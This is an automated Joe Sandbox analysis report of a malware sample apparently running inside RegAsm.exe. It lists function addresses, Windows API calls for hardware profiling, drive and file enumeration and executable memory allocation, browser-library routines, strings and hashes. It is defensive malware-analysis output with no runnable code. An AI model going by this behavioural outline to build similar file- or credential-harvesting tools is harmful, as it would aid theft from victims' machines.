Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID: f;B
API String ID: 1699248803-393978116
Opcode ID: 37800fc5a78b8b6d42ef66c3396ddb63f1d88b120eaceee914bb511c1f73b206
Instruction ID: 3b2a366e339c6a5745638e352a2310e2b5ad4fc59cf1c1d5fe0187ed78c5db55
Opcode Fuzzy Hash: 37800fc5a78b8b6d42ef66c3396ddb63f1d88b120eaceee914bb511c1f73b206
Instruction Fuzzy Hash: B1F01C7590014CBBDB11DF64C8909EEB7FDEBC4704F1085A6A905A3280E6309F469B50

Uniqueness

Uniqueness Score: -1.00%

Function 0040F218 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0040F229

Strings

Unknown, xrefs: 0040F23C

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CurrentProfile
String ID: Unknown
API String ID: 2104809126-1654365787
Opcode ID: bfde118a07128561538445f964f2fcc111f8947dec5ccb60162bc57d517e3c0c
Instruction ID: ec0dc782fcef23dcfed44453182ee0d47b2473d307a9cf0f881379d0322fe311
Opcode Fuzzy Hash: bfde118a07128561538445f964f2fcc111f8947dec5ccb60162bc57d517e3c0c
Instruction Fuzzy Hash: 60E08630600108ABDF10DB90E845B9937AC6B04348F504439E401F21C1DA74E54D8B95

Uniqueness

Uniqueness Score: -1.00%

Function 0040F9F1 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040F9F6
GetFileAttributesA.KERNEL32(00000000,?,0040D3CF,?,?,?,?), ref: 0040FA0A

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AttributesFileH_prolog
String ID:
API String ID: 3244726999-0
Opcode ID: 6b75abf842dfdc6c2eb2ff13f3cd63bc79bb962a731bd817ef8ea4091a839a93
Instruction ID: 054a0245128961d3b224f33393e34c4b2ab414d4aa21e6c7558ab83bc1edc0ca
Opcode Fuzzy Hash: 6b75abf842dfdc6c2eb2ff13f3cd63bc79bb962a731bd817ef8ea4091a839a93
Instruction Fuzzy Hash: ECE09230A01514EBCB289F65E8416DC7724EF40764F11873BFC66F26D0D73C8A06CA88

Uniqueness

Uniqueness Score: -1.00%

Function 00405E6A Relevance: 2.6, APIs: 2, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,00000000,00003000,00000040,?,00000000,?,?,0040626C,00000000,00000000), ref: 00405EC9
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000040,?,00000000,?,?,0040626C,00000000,00000000), ref: 00405EF5

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 13952f3c5282676e9fff2e4139e34abb68a3afbd7b4b0673f58908b5c203bd9e
Instruction ID: 4b53518b9cb7b3bb2fece1673b20d3a6ab7b1c305422158b30a5f1b55b15f669
Opcode Fuzzy Hash: 13952f3c5282676e9fff2e4139e34abb68a3afbd7b4b0673f58908b5c203bd9e
Instruction Fuzzy Hash: BE219371600B059BC724CFB4CD85BABB7F5EB80714F14482EE65AD72D0D279AA40CA58

Uniqueness

Uniqueness Score: -1.00%

Function 0040CD16 Relevance: 1.7, APIs: 1, Instructions: 223COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040CD1B

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040FA35: SHGetFolderPathA.SHELL32(00000000,f;B,00000000,00000000,?), ref: 0040FA66

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 0040F9F1: _EH_prolog.MSVCRT ref: 0040F9F6
Part of subcall function 0040F9F1: GetFileAttributesA.KERNEL32(00000000,?,0040D3CF,?,?,?,?), ref: 0040FA0A

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 0040BBFC: _EH_prolog.MSVCRT ref: 0040BC01
Part of subcall function 0040BBFC: StrStrA.SHLWAPI(00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 0040BC54
Part of subcall function 0040BBFC: memcmp.MSVCRT ref: 0040BC92

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrcat$AttributesFileFolderPathlstrlenmemcmp
String ID:
API String ID: 2375657845-0
Opcode ID: f9d78ce87802fc23f58829be8761b93256826cdff98c98fe9bd6a87f34df7215
Instruction ID: b7f2429d00cbd24f03b085da7ffc6c1b13d1efed039a81a5c695adca19b4959d
Opcode Fuzzy Hash: f9d78ce87802fc23f58829be8761b93256826cdff98c98fe9bd6a87f34df7215
Instruction Fuzzy Hash: AB819571C04248EADB05EBE5D946ADEBBB8AF14308F50496FF405732C1EB785718CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00406220 Relevance: 1.6, APIs: 1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbfcb08ace769c478a6e97ea2a41c8368e086d7de68ff1f9fc81c69203c94191
Instruction ID: 88b31800e1bd1f550d8eb9f155011e01342655bf2c649e0f580616cf577fde9a
Opcode Fuzzy Hash: bbfcb08ace769c478a6e97ea2a41c8368e086d7de68ff1f9fc81c69203c94191
Instruction Fuzzy Hash: 29413A7190021ADFCF14AF94D9809AEBBB2BB04314F16847FE916B7391D7389E50CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA53 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040AA58

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 0040A132: _EH_prolog.MSVCRT ref: 0040A137
Part of subcall function 0040A132: FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,?,?,00423AF3,00000000,?,00000000), ref: 0040A1B6

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$FileFindFirstlstrcpy
String ID:
API String ID: 1592259726-0
Opcode ID: 4d8b1b45906d495d6f5c137523b9309f349a13dd406d41b2bbe5cb9d08fb554d
Instruction ID: 0d7853f7fbfcb65061722039a5b48e63e6cba7d9ac331d543458f57b634d35a6
Opcode Fuzzy Hash: 4d8b1b45906d495d6f5c137523b9309f349a13dd406d41b2bbe5cb9d08fb554d
Instruction Fuzzy Hash: E1216F71900248EBCF11EFA9C9067DDBBB4AF59308F00456EE885632C1D7395718CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00401DD6 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401DDB

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 00401140: _EH_prolog.MSVCRT ref: 00401145
Part of subcall function 00401140: FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00420334,?,?,?,00420330,?,?,00000000,?,00000000), ref: 0040138A

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$FileFindFirstlstrcpy
String ID:
API String ID: 1592259726-0
Opcode ID: 9dd089d64e27994004124cef0cc5ded8b6c6f2f6c2a1f415b82bb110b99e50fc
Instruction ID: 52374e6235f4fdb2264a43de975b64ed59cf11a7eb4f4aa554f6eda265910e96
Opcode Fuzzy Hash: 9dd089d64e27994004124cef0cc5ded8b6c6f2f6c2a1f415b82bb110b99e50fc
Instruction Fuzzy Hash: 9F21D171C00248EBCB01EFAAC94769CBBB8AF45318F00452FE85873281EB3857548BD6

Uniqueness

Uniqueness Score: -1.00%

Function 0041437B Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00414380

Part of subcall function 00411745: _EH_prolog.MSVCRT ref: 0041174A

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 0041418A: _EH_prolog.MSVCRT ref: 0041418F
Part of subcall function 0041418A: GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 004141F1
Part of subcall function 0041418A: memset.MSVCRT ref: 00414210
Part of subcall function 0041418A: GetDriveTypeA.KERNEL32(?), ref: 00414219
Part of subcall function 0041418A: lstrcpy.KERNEL32(?,00000000), ref: 00414239
Part of subcall function 0041418A: lstrcpy.KERNEL32(?,00000000), ref: 0041427A
Part of subcall function 0041418A: lstrlen.KERNEL32(?), ref: 004142DC

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$Drivelstrcpy$LogicalStringsTypelstrlenmemset
String ID:
API String ID: 373919974-0
Opcode ID: 803ec6ae56a9befae404518276d950053f4e6715e29306928e3e0c96fe7178f0
Instruction ID: 04eda5af69a5ab9f34a92bc77b793a2690fc2b4fbca8d197a0248fc083632076
Opcode Fuzzy Hash: 803ec6ae56a9befae404518276d950053f4e6715e29306928e3e0c96fe7178f0
Instruction Fuzzy Hash: 60018071D00258EBDF10EFA8C9467EEBBB4FB80764F10411AE86163682D7385A8587D6

Uniqueness

Uniqueness Score: -1.00%

Function 0040FA81 Relevance: 1.3, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00411BB2,00000001,00000000,?,00411BB1,00000000,00000000), ref: 0040FA9A

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 809bd9db62f843099d219f587c5f1b217cf4d34188a8969acdfecfbe07a78063
Instruction ID: 48bc198b57d558872b6b3c3a99ac574bfc6c87eb94020070ea4b6f318438a978
Opcode Fuzzy Hash: 809bd9db62f843099d219f587c5f1b217cf4d34188a8969acdfecfbe07a78063
Instruction Fuzzy Hash: 07F0E5377116145FC7324D29880096B77ABABD5B60B09817BEE4CAB786C639DC0A4AE4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6CD66C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CD66CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CD66D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CD66D26

Part of subcall function 6CD6CA10: malloc.MOZGLUE(?), ref: 6CD6CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CD66D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CD66D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CD66D73
free.MOZGLUE(00000000), ref: 6CD66D80
CertGetNameStringW.CRYPT32 ref: 6CD66DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CD66DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CD66DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CD66DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CD66E10
CryptMsgClose.CRYPT32(00000000), ref: 6CD66E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CD66E34
CreateFileW.KERNEL32 ref: 6CD66EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CD66F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CD66F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CD6709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CD67103
free.MOZGLUE(00000000), ref: 6CD67153
CloseHandle.KERNEL32(?), ref: 6CD67176
__Init_thread_footer.LIBCMT ref: 6CD67209
__Init_thread_footer.LIBCMT ref: 6CD6723A
__Init_thread_footer.LIBCMT ref: 6CD6726B
__Init_thread_footer.LIBCMT ref: 6CD6729C
__Init_thread_footer.LIBCMT ref: 6CD672DC
__Init_thread_footer.LIBCMT ref: 6CD6730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CD673C2
VerSetConditionMask.NTDLL ref: 6CD673F3
VerSetConditionMask.NTDLL(00000000,?,00000001,00000003), ref: 6CD673FF
VerSetConditionMask.NTDLL(00000000,?,00000020,00000003), ref: 6CD67406
VerSetConditionMask.NTDLL(00000000,?,00000010,00000003), ref: 6CD6740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CD6741A
moz_xmalloc.MOZGLUE(?), ref: 6CD6755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CD67568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CD67585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CD67598
free.MOZGLUE(00000000), ref: 6CD675AC

Part of subcall function 6CD8AB89: EnterCriticalSection.KERNEL32(6CDDE370,?,?,?,6CD534DE,6CDDF6CC,?,?,?,?,?,?,?,6CD53284), ref: 6CD8AB94
Part of subcall function 6CD8AB89: LeaveCriticalSection.KERNEL32(6CDDE370,?,6CD534DE,6CDDF6CC,?,?,?,?,?,?,?,6CD53284,?,?,6CD756F6), ref: 6CD8ABD1

Strings

(, xrefs: 6CD6768A
CryptCATAdminReleaseCatalogContext, xrefs: 6CD672C8
wintrust.dll, xrefs: 6CD672CD
SHA256, xrefs: 6CD66EC0

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 86aece448e04f4cb5f6d24bbdd4ee2997063514717a7deef05c47d8a01bb3164
Instruction ID: 9cfc37b1d41e227ea6a6d7fe5511a58b60a3321f6d3389b67a5e125512c1cec6
Opcode Fuzzy Hash: 86aece448e04f4cb5f6d24bbdd4ee2997063514717a7deef05c47d8a01bb3164
Instruction Fuzzy Hash: 9D52C6B1E00218ABFB21DF65CC84BAAB7BDEB45704F114199E50997A50DB70BF84CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CD664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CD664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CD66505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CD66518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CD6652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CD6671C
GetCurrentProcess.KERNEL32 ref: 6CD66724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CD6672F
GetCurrentProcess.KERNEL32 ref: 6CD66759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CD66764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CD66A80
GetSystemInfo.KERNEL32(?), ref: 6CD66ABE
__Init_thread_footer.LIBCMT ref: 6CD66AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD66AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD66AF7

Strings

_etoured.dll, xrefs: 6CD664ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CD66798
detoured.dll, xrefs: 6CD664DA
user32.dll, xrefs: 6CD66526
nvdxgiwrap.dll, xrefs: 6CD66513
nvd3d9wrap.dll, xrefs: 6CD66500

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 8be725234a32a26d9456ec91e2140b6e15ce88061c92135fbd17f71cea7b6690
Instruction ID: 471f04962ffdafc7c81e662c72f905531e43a2dbc7af4308764f4afa19d15204
Opcode Fuzzy Hash: 8be725234a32a26d9456ec91e2140b6e15ce88061c92135fbd17f71cea7b6690
Instruction Fuzzy Hash: 30F1E870D05219DFDB20CF26CC88B9EB7B9AF46318F144199D909D3BA1D731AA85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0041479E Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 134stringmemoryfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004147A3
GetProcessHeap.KERNEL32(00000000,0098967F,00000104), ref: 004147BA
HeapAlloc.KERNEL32(00000000), ref: 004147C1
wsprintfA.USER32 ref: 004147D9
FindFirstFileA.KERNEL32(?,?), ref: 004147F0
StrCmpCA.SHLWAPI(?,004246F0), ref: 0041480D
StrCmpCA.SHLWAPI(?,004246F4), ref: 00414823
wsprintfA.USER32 ref: 00414843

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 004117BA: _EH_prolog.MSVCRT ref: 004117BF
Part of subcall function 004117BA: memset.MSVCRT ref: 004117E0
Part of subcall function 004117BA: memset.MSVCRT ref: 004117EE
Part of subcall function 004117BA: lstrcat.KERNEL32(?,00000000), ref: 0041181A
Part of subcall function 004117BA: lstrcat.KERNEL32(?), ref: 00411838
Part of subcall function 004117BA: lstrcat.KERNEL32(?,?), ref: 0041184C
Part of subcall function 004117BA: lstrcat.KERNEL32(?), ref: 0041185F
Part of subcall function 004117BA: StrStrA.SHLWAPI(00000000), ref: 004118F9

FindNextFileA.KERNEL32(00000000,?), ref: 0041489A
FindClose.KERNEL32(00000000), ref: 004148A9
lstrcat.KERNEL32(?,?), ref: 004148CE
lstrcat.KERNEL32(?), ref: 004148E1
lstrlen.KERNEL32(?), ref: 004148EA
lstrlen.KERNEL32(?), ref: 004148F7

Strings

%s\*, xrefs: 004147D3
%s\%s, xrefs: 0041483D

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

